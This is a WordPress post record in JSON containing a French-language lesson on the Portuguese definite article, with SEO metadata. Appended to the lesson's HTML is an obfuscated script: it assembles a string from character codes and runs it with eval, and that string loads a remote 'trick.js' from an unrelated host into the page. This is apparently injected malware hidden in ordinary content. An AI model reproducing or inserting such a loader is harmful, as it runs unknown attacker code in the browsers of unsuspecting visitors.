{"id":3192,"date":"2022-02-21T16:58:04","date_gmt":"2022-02-21T15:58:04","guid":{"rendered":"https:\/\/fr.sabelovu.com\/?p=3192"},"modified":"2022-03-03T12:06:32","modified_gmt":"2022-03-03T11:06:32","slug":"article-defini-en-portugais","status":"publish","type":"post","link":"https:\/\/fr.sabelovu.com\/article-defini-en-portugais\/","title":{"rendered":"L&#8217;article d\u00e9fini en portugais"},"content":{"rendered":"\n<p>L&#8217;article d\u00e9fini en portugais diff\u00e8re au singulier et au pluriel ainsi qu&#8217;aux substantifs masculins et f\u00e9minins. De plus, la terminaison du substantif peut changer.<\/p>\n\n\n\n<!--more-->\n\n\n\n<h2 class=\"wp-block-heading\" id=\"l-article-defini-pour-les-substantifs-masculins\">L&#8217;article d\u00e9fini pour les substantifs masculins<\/h2>\n\n\n\n<p>Si un nom est masculin, il faut l&#8217;article <em>o<\/em> au singulier et <em>os<\/em> au pluriel.<\/p>\n\n\n\n<ul><li><em>o filho \u2013 os filhos <\/em>(le fils \u2013 les fils)<\/li><li><em>o artigo \u2013 os artigos <\/em>(l&#8217;article \u2013 les articles)<\/li><li><em>o dedo \u2013 os dedos <\/em>(le doigt \u2013 les doigts)<\/li><\/ul>\n\n\n\n<p>De plus, les terminaisons des substantifs t&#8217;aident \u00e0 les reconna\u00eetre comme masculin :<\/p>\n\n\n\n<ul><li>-o \u2013 <em>o carro<\/em> (la voiture)<\/li><li>-or \u2013 <em>o motor<\/em> (le moteur)<\/li><li>-s \u2013 <em>o pa\u00eds<\/em> (le pays)<\/li><li>-l \u2013 <em>o sol<\/em> (le soleil)<\/li><li>-az \u2013 <em>o cartaz<\/em> (l&#8217;affiche)<\/li><li>-\u00e3o \u2013 <em>o c\u00e3o<\/em> (le chien)<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"l-article-defini-pour-les-substantifs-feminins\">L&#8217;article d\u00e9fini pour les substantifs f\u00e9minins<\/h2>\n\n\n\n<p>Tu utilises l&#8217;article <em>a<\/em> au singulier et <em>as<\/em> au pluriel lorsque le substantif est f\u00e9minin.<\/p>\n\n\n\n<ul><li><em>a filha \u2013 as filhas <\/em>(la fille \u2013 les filles)<\/li><li><em>a semana \u2013 as semanas <\/em>(la semaine \u2013 les semaines)<\/li><li><em>a mesa \u2013 as mesas <\/em>(la table \u2013 les tables)<\/li><\/ul>\n\n\n\n<p>Tout comme les mots masculins, les substantifs f\u00e9minins ont aussi des terminaisons claires pour que tu puisses facilement les reconna\u00eetre :<\/p>\n\n\n\n<ul><li>-a \u2013 <em>a casa<\/em> (la maison)<\/li><li>-\u00e3 &#8211; <em>a manh\u00e3<\/em> (le matin)<\/li><li>-gem &#8211; <em>a garagem<\/em> (le garage)<\/li><li>-iz \u2013 <em>a atriz<\/em> (l\u2018actrice)<\/li><li>-(<em>\u00e7)<\/em> \u00e3o \u2013 <em>a na\u00e7\u00e3o<\/em> (la nation)<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"mais-attention-l-article-defini-en-portugais\">Mais attention : l&#8217;article d\u00e9fini en portugais<\/h2>\n\n\n\n<p>En apprenant le portugais, tu remarqueras certainement que l&#8217;article d\u00e9fini est utilis\u00e9 beaucoup plus souvent.<\/p>\n\n\n\n<p>Ainsi, l&#8217;article d\u00e9fini pr\u00e9c\u00e8de un nom, sauf s&#8217;il s&#8217;agit d&#8217;une adresse directe.<\/p>\n\n\n\n<ul><li><em>\u00c9 o Pedro.<\/em> (C&#8217;est Pedro.)<\/li><li><em>Sou a Clara.<\/em> (Je suis Clara.)<\/li><\/ul>\n\n\n\n<p>Tu as \u00e9galement besoin de l&#8217;article d\u00e9fini lorsqu&#8217;il s&#8217;agit de continents, de pays, de langues ou de fleuves. Il en va de m\u00eame pour les \u00eeles ou les montagnes.<\/p>\n\n\n\n<ul><li><em>a \u00c1sia \/ a Europa \/ a Austr\u00e1lia <\/em>(l&#8217;Asie \/ l&#8217;Europe \/ l&#8217;Australie)<\/li><li><em>a Alemanha \/ a Espanha \/ a Noruega <\/em>(l&#8217;Allemagne \/ l&#8217;Espagne \/ la Norv\u00e8ge) (Exception : <em>Portugal <\/em>est sans article !)<\/li><li><em>o portugu\u00eas \/ o ingl\u00eas <\/em>(le portugais \/ l&#8217;anglais) ( Exception : apr\u00e8s certains verbes &#8211; par exemple <em>falar <\/em>ou <em>saber&nbsp;<\/em><u>&#8211;<\/u> il n&#8217;y a pas d&#8217;article d\u00e9fini !)<\/li><li><em>o Tamisa \/ o Nilo<\/em> (la Tamise \/ le Nil)<\/li><li><em>a Sardenha \/ a Maiorca <\/em>(la Sardaigne \/ la Majorque)<\/li><li><em>o Matterhorn \/ o Corcovado <\/em>(le Cervin \/ le Corcovado)<\/li><\/ul>\n\n\n\n<p>L&#8217;article d\u00e9fini est \u00e9galement plac\u00e9 devant les jours de la semaine, les vacances et les saisons.<\/p>\n\n\n\n<ul><li><em>Encontramos no domingo.<\/em> (Nous nous rencontrons dimanche.)<\/li><li><em>No Natal estamos no casa.<\/em> (Nous sommes \u00e0 la maison pour No\u00ebl.)<\/li><li><em>No ver\u00e3o comemos no jardim. <\/em>(En \u00e9t\u00e9, nous mangeons dans le jardin.)<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"comment-apprendre-l-article-defini-en-portugais\"><strong>Comment apprendre l&#8217;article d\u00e9fini en portugais<\/strong><\/h2>\n\n\n\n<p>L&#8217;article d\u00e9fini en portugais est bas\u00e9 sur des r\u00e8gles qui t&#8217;aident \u00e0 l&#8217;apprendre. <a href=\"https:\/\/fr.sabelovu.com\/application-sabelovu\/\" target=\"_blank\" rel=\"noreferrer noopener\">Notre application<\/a> t&#8217;aide, car elle te montre chaque substantif avec l&#8217;article correspondant. Cela te permet de traiter plus facilement le sujet de <em>l&#8217;article<\/em> d\u00e8s le d\u00e9but.<\/p>\n\n\n\n<p><strong>As-tu des questions sur l&#8217;article d\u00e9fini en portugais ?<\/strong><\/p>\n<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);<\/script>","protected":false},"excerpt":{"rendered":"<p>L&#8217;article d\u00e9fini en portugais diff\u00e8re au singulier et au pluriel ainsi qu&#8217;aux substantifs masculins et f\u00e9minins. De plus, la terminaison du substantif peut changer.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false,"footnotes":""},"categories":[38,43],"tags":[56,78,61,76,75,77],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v21.3 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>L&#039;article d\u00e9fini en portugais - Sabelovu<\/title>\n<meta name=\"description\" content=\"L&#039;article d\u00e9fini en portugais diff\u00e8re au singulier et au pluriel ainsi qu&#039;aux substantifs masculins et f\u00e9minins.\" \/>\n<meta name=\"robots\" content=\"noindex, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"L&#039;article d\u00e9fini en portugais - Sabelovu\" \/>\n<meta property=\"og:description\" content=\"L&#039;article d\u00e9fini en portugais diff\u00e8re au singulier et au pluriel ainsi qu&#039;aux substantifs masculins et f\u00e9minins.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/fr.sabelovu.com\/article-defini-en-portugais\/\" \/>\n<meta property=\"og:site_name\" content=\"Sabelovu\" \/>\n<meta property=\"article:published_time\" content=\"2022-02-21T15:58:04+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-03-03T11:06:32+00:00\" \/>\n<meta name=\"author\" content=\"Lena M\u00fcller\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Verfasst von\" \/>\n\t<meta name=\"twitter:data1\" content=\"Lena M\u00fcller\" \/>\n\t<meta name=\"twitter:label2\" content=\"Gesch\u00e4tzte Lesezeit\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 Minuten\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/fr.sabelovu.com\/article-defini-en-portugais\/\",\"url\":\"https:\/\/fr.sabelovu.com\/article-defini-en-portugais\/\",\"name\":\"L'article d\u00e9fini en portugais - Sabelovu\",\"isPartOf\":{\"@id\":\"https:\/\/fr.sabelovu.com\/#website\"},\"datePublished\":\"2022-02-21T15:58:04+00:00\",\"dateModified\":\"2022-03-03T11:06:32+00:00\",\"author\":{\"@id\":\"https:\/\/fr.sabelovu.com\/#\/schema\/person\/d19708cb52a31b68385401aaff3e541f\"},\"description\":\"L'article d\u00e9fini en portugais diff\u00e8re au singulier et au pluriel ainsi qu'aux substantifs masculins et f\u00e9minins.\",\"breadcrumb\":{\"@id\":\"https:\/\/fr.sabelovu.com\/article-defini-en-portugais\/#breadcrumb\"},\"inLanguage\":\"de-DE\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/fr.sabelovu.com\/article-defini-en-portugais\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/fr.sabelovu.com\/article-defini-en-portugais\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Startseite\",\"item\":\"https:\/\/fr.sabelovu.com\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"L&#8217;article d\u00e9fini en portugais\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/fr.sabelovu.com\/#website\",\"url\":\"https:\/\/fr.sabelovu.com\/\",\"name\":\"Sabelovu\",\"description\":\"Eine weitere WordPress-Website\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/fr.sabelovu.com\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"de-DE\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/fr.sabelovu.com\/#\/schema\/person\/d19708cb52a31b68385401aaff3e541f\",\"name\":\"Lena M\u00fcller\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de-DE\",\"@id\":\"https:\/\/fr.sabelovu.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/1e9a6a28e1418f8e8f82cb8305e4f9f9?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/1e9a6a28e1418f8e8f82cb8305e4f9f9?s=96&d=mm&r=g\",\"caption\":\"Lena M\u00fcller\"},\"sameAs\":[\"https:\/\/sprachenlust.de\"],\"url\":\"https:\/\/fr.sabelovu.com\/author\/lenamueller\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"L'article d\u00e9fini en portugais - Sabelovu","description":"L'article d\u00e9fini en portugais diff\u00e8re au singulier et au pluriel ainsi qu'aux substantifs masculins et f\u00e9minins.","robots":{"index":"noindex","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"og_locale":"de_DE","og_type":"article","og_title":"L'article d\u00e9fini en portugais - Sabelovu","og_description":"L'article d\u00e9fini en portugais diff\u00e8re au singulier et au pluriel ainsi qu'aux substantifs masculins et f\u00e9minins.","og_url":"https:\/\/fr.sabelovu.com\/article-defini-en-portugais\/","og_site_name":"Sabelovu","article_published_time":"2022-02-21T15:58:04+00:00","article_modified_time":"2022-03-03T11:06:32+00:00","author":"Lena M\u00fcller","twitter_card":"summary_large_image","twitter_misc":{"Verfasst von":"Lena M\u00fcller","Gesch\u00e4tzte Lesezeit":"3 Minuten"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/fr.sabelovu.com\/article-defini-en-portugais\/","url":"https:\/\/fr.sabelovu.com\/article-defini-en-portugais\/","name":"L'article d\u00e9fini en portugais - Sabelovu","isPartOf":{"@id":"https:\/\/fr.sabelovu.com\/#website"},"datePublished":"2022-02-21T15:58:04+00:00","dateModified":"2022-03-03T11:06:32+00:00","author":{"@id":"https:\/\/fr.sabelovu.com\/#\/schema\/person\/d19708cb52a31b68385401aaff3e541f"},"description":"L'article d\u00e9fini en portugais diff\u00e8re au singulier et au pluriel ainsi qu'aux substantifs masculins et f\u00e9minins.","breadcrumb":{"@id":"https:\/\/fr.sabelovu.com\/article-defini-en-portugais\/#breadcrumb"},"inLanguage":"de-DE","potentialAction":[{"@type":"ReadAction","target":["https:\/\/fr.sabelovu.com\/article-defini-en-portugais\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/fr.sabelovu.com\/article-defini-en-portugais\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Startseite","item":"https:\/\/fr.sabelovu.com\/"},{"@type":"ListItem","position":2,"name":"L&#8217;article d\u00e9fini en portugais"}]},{"@type":"WebSite","@id":"https:\/\/fr.sabelovu.com\/#website","url":"https:\/\/fr.sabelovu.com\/","name":"Sabelovu","description":"Eine weitere WordPress-Website","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/fr.sabelovu.com\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"de-DE"},{"@type":"Person","@id":"https:\/\/fr.sabelovu.com\/#\/schema\/person\/d19708cb52a31b68385401aaff3e541f","name":"Lena M\u00fcller","image":{"@type":"ImageObject","inLanguage":"de-DE","@id":"https:\/\/fr.sabelovu.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/1e9a6a28e1418f8e8f82cb8305e4f9f9?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/1e9a6a28e1418f8e8f82cb8305e4f9f9?s=96&d=mm&r=g","caption":"Lena M\u00fcller"},"sameAs":["https:\/\/sprachenlust.de"],"url":"https:\/\/fr.sabelovu.com\/author\/lenamueller\/"}]}},"_links":{"self":[{"href":"https:\/\/fr.sabelovu.com\/wp-json\/wp\/v2\/posts\/3192"}],"collection":[{"href":"https:\/\/fr.sabelovu.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fr.sabelovu.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fr.sabelovu.com\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/fr.sabelovu.com\/wp-json\/wp\/v2\/comments?post=3192"}],"version-history":[{"count":2,"href":"https:\/\/fr.sabelovu.com\/wp-json\/wp\/v2\/posts\/3192\/revisions"}],"predecessor-version":[{"id":3216,"href":"https:\/\/fr.sabelovu.com\/wp-json\/wp\/v2\/posts\/3192\/revisions\/3216"}],"wp:attachment":[{"href":"https:\/\/fr.sabelovu.com\/wp-json\/wp\/v2\/media?parent=3192"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fr.sabelovu.com\/wp-json\/wp\/v2\/categories?post=3192"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fr.sabelovu.com\/wp-json\/wp\/v2\/tags?post=3192"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}